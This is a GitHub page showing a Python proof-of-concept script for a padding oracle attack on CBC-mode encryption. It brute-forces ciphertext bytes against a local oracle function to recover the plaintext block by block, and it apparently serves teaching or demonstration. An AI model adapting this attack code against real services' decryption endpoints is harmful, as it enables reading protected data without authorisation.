-
Notifications
You must be signed in to change notification settings - Fork 16
/
poracle_exploit.py
69 lines (54 loc) · 2.5 KB
/
poracle_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
from settings import *
from oracle import *
##########################################
# Padding Oracle Attack Proof of Concept #
##########################################
def poc(encrypted):
block_number = len(encrypted)//BYTE_NB
decrypted = bytes()
# Go through each block
for i in range(block_number, 0, -1):
current_encrypted_block = encrypted[(i-1)*BYTE_NB:(i)*BYTE_NB]
# At the first encrypted block, use the initialization vector if it is known
if(i == 1):
previous_encrypted_block = bytearray(IV.encode("ascii"))
else:
previous_encrypted_block = encrypted[(i-2)*BYTE_NB:(i-1)*BYTE_NB]
bruteforce_block = previous_encrypted_block
current_decrypted_block = bytearray(IV.encode("ascii"))
padding = 0
# Go through each byte of the block
for j in range(BYTE_NB, 0, -1):
padding += 1
# Bruteforce byte value
for value in range(0,256):
bruteforce_block = bytearray(bruteforce_block)
bruteforce_block[j-1] = (bruteforce_block[j-1] + 1) % 256
joined_encrypted_block = bytes(bruteforce_block) + current_encrypted_block
# Ask the oracle
if(oracle(joined_encrypted_block)):
current_decrypted_block[-padding] = bruteforce_block[-padding] ^ previous_encrypted_block[-padding] ^ padding
# Prepare newly found byte values
for k in range(1, padding+1):
bruteforce_block[-k] = padding+1 ^ current_decrypted_block[-k] ^ previous_encrypted_block[-k]
break
decrypted = bytes(current_decrypted_block) + bytes(decrypted)
return decrypted[:-decrypted[-1]] # Padding removal
#### Script ####
usage = """
Usage:
python3 poracle_exploit.py <message> decrypts and displays the message
python3 poracle_exploit.py -o <hex code> displays oracle answer
Cryptographic parameters can be changed in settings.py
"""
if __name__ == '__main__':
if len(sys.argv) == 2 : #chiffrement
if len(sys.argv[1])%16!=0: # code size security
print(usage)
else:
print("Decrypted message: ", poc(bytes.fromhex(sys.argv[1])).decode("ascii"))
elif len(sys.argv) == 3 and sys.argv[1] == '-o' : #oracle
print(oracle(bytes.fromhex(sys.argv[2])))
else:
print(usage)